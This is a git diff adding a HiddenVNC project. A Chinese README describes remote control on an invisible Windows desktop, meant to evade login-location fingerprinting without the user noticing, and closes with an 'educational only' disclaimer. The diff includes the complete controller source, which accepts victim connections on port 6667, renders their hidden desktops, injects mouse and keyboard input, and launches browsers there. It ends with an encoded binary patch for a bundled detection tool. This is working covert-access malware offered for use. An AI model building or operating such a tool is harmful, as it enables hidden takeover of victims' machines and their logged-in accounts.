+Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30717.126 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Client", "Client\hiddenDesktop.vcxproj", "{2634CFFF-FDCB-450E-A6E9-6D655C0005B2}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Server", "Server\Server.vcxproj", "{5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Debug|x86.ActiveCfg = Debug|Win32 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Debug|x86.Build.0 = Debug|Win32 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Release|x86.ActiveCfg = Release|Win32 + {2634CFFF-FDCB-450E-A6E9-6D655C0005B2}.Release|x86.Build.0 = Release|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|x86.ActiveCfg = Debug|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|x86.Build.0 = Debug|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|x86.ActiveCfg = Release|Win32 + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {63C23A8B-C799-453F-BD1A-A5B386465458} + EndGlobalSection +EndGlobal diff --git a/README.md b/README.md new file mode 100644 index 0000000..d2325a2 --- /dev/null +++ b/README.md @@ -0,0 +1,37 @@ +# HiddenVNC + +**这是一款简单的hvnc软件** + +hvnc是一种用来解决异地登陆(比如浏览器,操作系统/插件版本,语言环境,时区等对用户的系统进行指纹识别)的方法。 + +传统的vnc,即远程桌面控制,很容易被用户看到操作,无法实现隐藏的目的。 + +hvnc可以利用一些鲜为人知的Windows功能,例如CreateDesktop和跨进程窗口子类来实现VNC运行的不可见环境。 + +详细一点的介绍可以看这篇文章:[Hidden VNC for Beginners](https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html "Hidden VNC for Beginners") ,里面有较为详细的原理及应用讲解。 + +## 编译 +在Visual Studio 2019中打开解决方案,选择Realease/x86即可编译。默认客户端ip为127.0.0.1,如有需要请自行修改。 + +## 运行 +编译后,在项目 /Release 下运行server.exe,然后运行client.exe,就可以看到一个vnc界面。 +如果界面全黑,请右键点击标题栏,选择start explorer或其他选项。 + +## 检测及调试 +hvnc新建的桌面很难通过简单的方式切换,所以为了方便验证及测试,在 /anti-hvnc 里有一个切换及检测桌面和进程的软件,源代码:[HiddenDesktopViewer](https://github.com/AgigoNoTana/HiddenDesktopViewer "HiddenDesktopViewer") ,具体用法详见该Repo的介绍。 + +## 支持 +* 未测试以下系统(32和64位) + * Windows XP SP3 + * Windows Server 2003 + * Windows Vista +* 确认支持以下系统(32和64位) + * Windows Server 2008 + * Windows 7 + * Windows Server 2012 + * Windows 8/8.1 + * Windows 10 + + +## 注意 +我(簞純)对您使用此软件可能执行的任何操作概不负责。您对使用此软件采取的任何措施承担全部责任。请注意,此应用程序仅用于教育目的,切勿被恶意使用。通过下载软件或软件的源代码,您自动接受此协议。 diff --git a/Server/Common.h b/Server/Common.h new file mode 100644 index 0000000..443ee71 --- /dev/null +++ b/Server/Common.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") \ No newline at end of file diff --git a/Server/ControlWindow.cpp b/Server/ControlWindow.cpp new file mode 100644 index 0000000..538a851 --- /dev/null +++ b/Server/ControlWindow.cpp @@ -0,0 +1,49 @@ +#include "ControlWindow.h" + +static const TCHAR *className = TEXT("HiddenDesktop_ControlWindow"); +static const TCHAR *titlePattern = TEXT("%S Hidden Desktop"); + +BOOL CW_Register(WNDPROC lpfnWndProc) +{ + WNDCLASSEX wndClass; + wndClass.cbSize = sizeof(WNDCLASSEX); + wndClass.style = CS_DBLCLKS; + wndClass.lpfnWndProc = lpfnWndProc; + wndClass.cbClsExtra = 0; + wndClass.cbWndExtra = 0; + wndClass.hInstance = NULL; + wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); + wndClass.hbrBackground = (HBRUSH) COLOR_WINDOW; + wndClass.lpszMenuName = NULL; + wndClass.lpszClassName = className; + wndClass.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + return RegisterClassEx(&wndClass); +} + +HWND CW_Create(DWORD uhid, DWORD width, DWORD height) +{ + TCHAR title[100]; + IN_ADDR addr; + addr.S_un.S_addr = uhid; + + wsprintf(title, titlePattern, inet_ntoa(addr)); + + HWND hWnd = CreateWindow(className, + title, + WS_MAXIMIZEBOX | WS_MINIMIZEBOX | WS_SIZEBOX | WS_SYSMENU, + CW_USEDEFAULT, + CW_USEDEFAULT, + width, + height, + NULL, + NULL, + GetModuleHandle(NULL), + NULL); + + if(hWnd == NULL) + return NULL; + + ShowWindow(hWnd, SW_SHOW); + return hWnd; +} \ No newline at end of file diff --git a/Server/ControlWindow.h b/Server/ControlWindow.h new file mode 100644 index 0000000..f5e8a6e --- /dev/null +++ b/Server/ControlWindow.h @@ -0,0 +1,4 @@ +#include "Common.h" + +BOOL CW_Register(WNDPROC lpfnWndProc); +HWND CW_Create(DWORD uhid, DWORD width, DWORD height); \ No newline at end of file diff --git a/Server/Main.cpp b/Server/Main.cpp new file mode 100644 index 0000000..3c45656 --- /dev/null +++ b/Server/Main.cpp @@ -0,0 +1,30 @@ +#include "Common.h" +#include "ControlWindow.h" +#include "Server.h" + + +int CALLBACK WinMain(HINSTANCE hInstance, + HINSTANCE hPrevInstance, + LPSTR lpCmdLine, + int nCmdShow) +{ + AllocConsole(); + + freopen("CONIN$", "r", stdin); + freopen("CONOUT$", "w", stdout); + freopen("CONOUT$", "w", stderr); + + SetConsoleTitle(TEXT("Hidden Desktop")); + + wprintf(TEXT("Compiled: %S @ %S\n"), __DATE__, __TIME__); + wprintf(TEXT("Reverse Hidden Desktop: \n\n")); + + //if(!StartServer(atoi(lpCmdLine))) + if (!StartServer(6667)) + { + wprintf(TEXT("Could not start the server (Error: %d)\n"), WSAGetLastError()); + getchar(); + return 0; + } + return 0; +} \ No newline at end of file diff --git a/Server/Server.cpp b/Server/Server.cpp new file mode 100644 index 0000000..5d2e97d --- /dev/null +++ b/Server/Server.cpp @@ -0,0 +1,560 @@ +#include "Server.h" + +typedef NTSTATUS (NTAPI *T_RtlDecompressBuffer) +( + USHORT CompressionFormat, + PUCHAR UncompressedBuffer, + ULONG UncompressedBufferSize, + PUCHAR CompressedBuffer, + ULONG CompressedBufferSize, + PULONG FinalUncompressedSize +); + +static T_RtlDecompressBuffer pRtlDecompressBuffer; + +enum Connection { desktop, input, end }; + +struct Client +{ + SOCKET connections[Connection::end]; + DWORD uhid; + HWND hWnd; + BYTE *pixels; + DWORD pixelsWidth, pixelsHeight; + DWORD screenWidth, screenHeight; + HDC hDcBmp; + HANDLE minEvent; + BOOL fullScreen; + RECT windowedRect; +}; + +static const COLORREF gc_trans = RGB(255, 174, 201); +static const BYTE gc_magik[] = { 'H', 'I', 'D', 'D', 'E', 'N', 'V', 'N', 'C', 0 }; +static const DWORD gc_maxClients = 256; +static const DWORD gc_sleepNotRecvPixels = 33; + +static const DWORD gc_minWindowWidth = 800; +static const DWORD gc_minWindowHeight = 600; + + +enum SysMenuIds { fullScreen = 101, startExplorer = WM_USER + 1, startRun, startChrome, startFirefox, startIexplore }; + +static Client g_clients[gc_maxClients]; +static CRITICAL_SECTION g_critSec; + +static Client *GetClient(void *data, BOOL uhid) +{ + for(int i = 0; i < gc_maxClients; ++i) + { + if(uhid) + { + if(g_clients[i].uhid == (DWORD) data) + return &g_clients[i]; + } + else + { + if(g_clients[i].hWnd == (HWND) data) + return &g_clients[i]; + } + } + return NULL; +} + +int SendInt(SOCKET s, int i) +{ + return send(s, (char *) &i, sizeof(i), 0); +} + +static BOOL SendInput(SOCKET s, UINT msg, WPARAM wParam, LPARAM lParam) +{ + if(SendInt(s, msg) <= 0) + return FALSE; + if(SendInt(s, wParam) <= 0) + return FALSE; + if(SendInt(s, lParam) <= 0) + return FALSE; + return TRUE; +} + +static void ToggleFullscreen(HWND hWnd, Client *client) +{ + if(!client->fullScreen) + { + RECT rect; + GetWindowRect(hWnd, &rect); + client->windowedRect = rect; + GetWindowRect(GetDesktopWindow(), &rect); + SetWindowLong(hWnd, GWL_STYLE, WS_POPUP | WS_VISIBLE); + SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, rect.right, rect.bottom, SWP_SHOWWINDOW); + } + else + { + SetWindowLong(hWnd, GWL_STYLE, WS_OVERLAPPEDWINDOW | WS_VISIBLE); + SetWindowPos(hWnd, + HWND_NOTOPMOST, + client->windowedRect.left, + client->windowedRect.top, + client->windowedRect.left - client->windowedRect.right, + client->windowedRect.bottom - client->windowedRect.top, + SWP_SHOWWINDOW); + } + client->fullScreen = !client->fullScreen; +} + +static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + Client *client = GetClient(hWnd, FALSE); + + switch(msg) + { + case WM_CREATE: + { + HMENU hSysMenu = GetSystemMenu(hWnd, false); + AppendMenu(hSysMenu, MF_SEPARATOR, 0, NULL); + //AppendMenu(hSysMenu, MF_STRING, SysMenuIds::fullScreen, TEXT("&Fullscreen")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startExplorer, TEXT("Start Explorer")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startRun, TEXT("&Run...")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startChrome, TEXT("Start Chrome")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startFirefox, TEXT("Start Firefox")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startIexplore, TEXT("Start Internet Explorer")); + break; + } + case WM_SYSCOMMAND: + { + if(wParam == SC_RESTORE) + SetEvent(client->minEvent); +/* + else if(wParam == SysMenuIds::fullScreen || (wParam == SC_KEYMENU && toupper(lParam) == 'F')) + { + ToggleFullscreen(hWnd, client); + break; + } +*/ + else if(wParam == SysMenuIds::startExplorer) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startExplorer, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startRun) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startRun, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startChrome) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startChrome, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startFirefox) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startFirefox, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startIexplore) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startIexplore, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + return DefWindowProc(hWnd, msg, wParam, lParam); + } + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC hDc = BeginPaint(hWnd, &ps); + + RECT clientRect; + GetClientRect(hWnd, &clientRect); + + RECT rect; + HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); + rect.left = 0; + rect.top = 0; + rect.right = clientRect.right; + rect.bottom = clientRect.bottom; + + rect.left = client->pixelsWidth; + FillRect(hDc, &rect, hBrush); + rect.left = 0; + rect.top = client->pixelsHeight; + FillRect(hDc, &rect, hBrush); + DeleteObject(hBrush); + + BitBlt(hDc, 0, 0, client->pixelsWidth, client->pixelsHeight, client->hDcBmp, 0, 0, SRCCOPY); + EndPaint(hWnd, &ps); + break; + } + case WM_DESTROY: + { + PostQuitMessage(0); + break; + } + case WM_ERASEBKGND: + return TRUE; + case WM_LBUTTONDOWN: + case WM_LBUTTONUP: + case WM_RBUTTONDOWN: + case WM_RBUTTONUP: + case WM_MBUTTONDOWN: + case WM_MBUTTONUP: + case WM_LBUTTONDBLCLK: + case WM_RBUTTONDBLCLK: + case WM_MBUTTONDBLCLK: + case WM_MOUSEMOVE: + case WM_MOUSEWHEEL: + { + if(msg == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0) + break; + + int x = GET_X_LPARAM(lParam); + int y = GET_Y_LPARAM(lParam); + + float ratioX = (float) client->screenWidth / client->pixelsWidth; + float ratioY = (float) client->screenHeight / client->pixelsHeight; + + x = (int) (x * ratioX); + y = (int) (y * ratioY); + lParam = MAKELPARAM(x, y); + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], msg, wParam, lParam)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + case WM_CHAR: + { + if(iscntrl(wParam)) + break; + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + case WM_KEYDOWN: + case WM_KEYUP: + { + switch(wParam) + { + case VK_UP: + case VK_DOWN: + case VK_RIGHT: + case VK_LEFT: + case VK_HOME: + case VK_END: + case VK_PRIOR: + case VK_NEXT: + case VK_INSERT: + case VK_RETURN: + case VK_DELETE: + case VK_BACK: + break; + default: + return 0; + } + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + case WM_GETMINMAXINFO: + { + MINMAXINFO* mmi = (MINMAXINFO *) lParam; + mmi->ptMinTrackSize.x = gc_minWindowWidth; + mmi->ptMinTrackSize.y = gc_minWindowHeight; + mmi->ptMaxTrackSize.x = 1920; + mmi->ptMaxTrackSize.y = 1080; + break; + } + default: + return DefWindowProc(hWnd, msg, wParam, lParam); + } + return 0; +} + +static DWORD WINAPI ClientThread(PVOID param) +{ + Client *client = NULL; + SOCKET s = (SOCKET) param; + BYTE buf[sizeof(gc_magik)]; + Connection connection; + DWORD uhid; + + if(recv(s, (char *) buf, sizeof(gc_magik), 0) <= 0) + { + closesocket(s); + return 0; + } + if(memcmp(buf, gc_magik, sizeof(gc_magik))) + { + closesocket(s); + return 0; + } + if(recv(s, (char *) &connection, sizeof(connection), 0) <= 0) + { + closesocket(s); + return 0; + } + { + SOCKADDR_IN addr; + int addrSize; + addrSize = sizeof(addr); + getpeername(s, (SOCKADDR *) &addr, &addrSize); + uhid = addr.sin_addr.S_un.S_addr; + } + if(connection == Connection::desktop) + { + client = GetClient((void *) uhid, TRUE); + if(!client) + { + closesocket(s); + return 0; + } + client->connections[Connection::desktop] = s; + + BITMAPINFO bmpInfo; + bmpInfo.bmiHeader.biSize = sizeof(bmpInfo.bmiHeader); + bmpInfo.bmiHeader.biPlanes = 1; + bmpInfo.bmiHeader.biBitCount = 24; + bmpInfo.bmiHeader.biCompression = BI_RGB; + bmpInfo.bmiHeader.biClrUsed = 0; + + for(;;) + { + RECT rect; + GetClientRect(client->hWnd, &rect); + + if(rect.right == 0) + { + BOOL x = ResetEvent(client->minEvent); + WaitForSingleObject(client->minEvent, 5000); + continue; + } + + int realRight = (rect.right > client->screenWidth && client->screenWidth > 0) ? client->screenWidth : rect.right; + int realBottom = (rect.bottom > client->screenHeight && client->screenHeight > 0) ? client->screenHeight : rect.bottom; + + if((realRight * 3) % 4) + realRight += ((realRight * 3) % 4); + + if(SendInt(s, realRight) <= 0) + goto exit; + if(SendInt(s, realBottom) <= 0) + goto exit; + + DWORD width; + DWORD height; + DWORD size; + BOOL recvPixels; + if(recv(s, (char *) &recvPixels, sizeof(recvPixels), 0) <= 0) + goto exit; + if(!recvPixels) + { + Sleep(gc_sleepNotRecvPixels); + continue; + } + if(recv(s, (char *) &client->screenWidth, sizeof(client->screenWidth), 0) <= 0) + goto exit; + if(recv(s, (char *) &client->screenHeight, sizeof(client->screenHeight), 0) <= 0) + goto exit; + if(recv(s, (char *) &width, sizeof(width), 0) <= 0) + goto exit; + if(recv(s, (char *) &height, sizeof(height), 0) <= 0) + goto exit; + if(recv(s, (char *) &size, sizeof(size), 0) <= 0) + goto exit; + + BYTE *compressedPixels = (BYTE *) malloc(size); + int totalRead = 0; + do + { + int read = recv(s, (char *) compressedPixels + totalRead, size - totalRead, 0); + if(read <= 0) + goto exit; + totalRead += read; + } while(totalRead != size); + + EnterCriticalSection(&g_critSec); + { + DWORD newPixelsSize = width * 3 * height; + BYTE *newPixels = (BYTE *) malloc(newPixelsSize); + pRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, newPixels, newPixelsSize, compressedPixels, size, &size); + free(compressedPixels); + + if(client->pixels && client->pixelsWidth == width && client->pixelsHeight == height) + { + for(DWORD i = 0; i < newPixelsSize; i += 3) + { + if(newPixels[i] == GetRValue(gc_trans) && + newPixels[i + 1] == GetGValue(gc_trans) && + newPixels[i + 2] == GetBValue(gc_trans)) + { + continue; + } + client->pixels[i] = newPixels[i]; + client->pixels[i + 1] = newPixels[i + 1]; + client->pixels[i + 2] = newPixels[i + 2]; + } + free(newPixels); + } + else + { + free(client->pixels); + client->pixels = newPixels; + } + + HDC hDc = GetDC(NULL); + HDC hDcBmp = CreateCompatibleDC(hDc); + HBITMAP hBmp; + + hBmp = CreateCompatibleBitmap(hDc, width, height); + SelectObject(hDcBmp, hBmp); + + bmpInfo.bmiHeader.biSizeImage = newPixelsSize; + bmpInfo.bmiHeader.biWidth = width; + bmpInfo.bmiHeader.biHeight = height; + SetDIBits(hDcBmp, + hBmp, + 0, + height, + client->pixels, + &bmpInfo, + DIB_RGB_COLORS); + + DeleteDC(client->hDcBmp); + client->pixelsWidth = width; + client->pixelsHeight = height; + client->hDcBmp = hDcBmp; + + InvalidateRgn(client->hWnd, NULL, TRUE); + + DeleteObject(hBmp); + ReleaseDC(NULL, hDc); + } + LeaveCriticalSection(&g_critSec); + + if(SendInt(s, 0) <= 0) + goto exit; + } +exit: + PostMessage(client->hWnd, WM_DESTROY, NULL, NULL); + return 0; + } + else if(connection == Connection::input) + { + char ip[16]; + EnterCriticalSection(&g_critSec); + { + client = GetClient((void *) uhid, TRUE); + if(client) + { + closesocket(s); + LeaveCriticalSection(&g_critSec); + return 0; + } + IN_ADDR addr; + addr.S_un.S_addr = uhid; + strcpy(ip, inet_ntoa(addr)); + wprintf(TEXT("User %S connected\n"), ip); + + BOOL found = FALSE; + for(int i = 0; i < gc_maxClients; ++i) + { + if(!g_clients[i].hWnd) + { + found = TRUE; + client = &g_clients[i]; + } + } + if(!found) + { + wprintf(TEXT("User %S kicked max %d users\n"), ip, gc_maxClients); + closesocket(s); + return 0; + } + + client->hWnd = CW_Create(uhid, gc_minWindowWidth, gc_minWindowHeight); + client->uhid = uhid; + client->connections[Connection::input] = s; + client->minEvent = CreateEventA(NULL, TRUE, FALSE, NULL); + } + LeaveCriticalSection(&g_critSec); + + SendInt(s, 0); + + MSG msg; + while(GetMessage(&msg, NULL, 0, 0) > 0) + { + PeekMessage(&msg, NULL, WM_USER, WM_USER, PM_NOREMOVE); + TranslateMessage(&msg); + DispatchMessage(&msg); + } + + EnterCriticalSection(&g_critSec); + { + wprintf(TEXT("User %S disconnected\n"), ip); + free(client->pixels); + DeleteDC(client->hDcBmp); + closesocket(client->connections[Connection::input]); + closesocket(client->connections[Connection::desktop]); + CloseHandle(client->minEvent); + memset(client, 0, sizeof(*client)); + } + LeaveCriticalSection(&g_critSec); + } + return 0; +} + +BOOL StartServer(int port) +{ + WSADATA wsa; + SOCKET serverSocket; + sockaddr_in addr; + HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll")); + + pRtlDecompressBuffer = (T_RtlDecompressBuffer) GetProcAddress(ntdll, "RtlDecompressBuffer"); + InitializeCriticalSection(&g_critSec); + memset(g_clients, 0, sizeof(g_clients)); + CW_Register(WndProc); + + if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0) + return FALSE; + if((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) + return FALSE; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = INADDR_ANY; + addr.sin_port = htons(port); + + if(bind(serverSocket, (sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR) + return FALSE; + if(listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) + return FALSE; + + int addrSize = sizeof(addr); + getsockname(serverSocket, (sockaddr *) &addr, &addrSize); + wprintf(TEXT("Listening on port %d\n"), ntohs(addr.sin_port)); + + for(;;) + { + SOCKET s; + sockaddr_in addr; + s = accept(serverSocket, (sockaddr *) &addr, &addrSize); + CreateThread(NULL, 0, ClientThread, (LPVOID) s, 0, 0); + } +} \ No newline at end of file diff --git a/Server/Server.h b/Server/Server.h new file mode 100644 index 0000000..50643bc --- /dev/null +++ b/Server/Server.h @@ -0,0 +1,4 @@ +#include "Common.h" +#include "ControlWindow.h" + +BOOL StartServer(int port); \ No newline at end of file diff --git a/Server/Server.vcxproj b/Server/Server.vcxproj new file mode 100644 index 0000000..2522a50 --- /dev/null +++ b/Server/Server.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3} + Win32Proj + Server + 10.0 + + + + Application + true + v142 + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + + + Windows + true + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Server/Server.vcxproj.filters b/Server/Server.vcxproj.filters new file mode 100644 index 0000000..f73998c --- /dev/null +++ b/Server/Server.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/anti-hvnc/HiddenDesktopViewer_Bin.zip b/anti-hvnc/HiddenDesktopViewer_Bin.zip new file mode 100644 index 0000000000000000000000000000000000000000..787c1ae5b554bab1ce71e1a3da934f7adfc161f3 GIT binary patch literal 41833 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 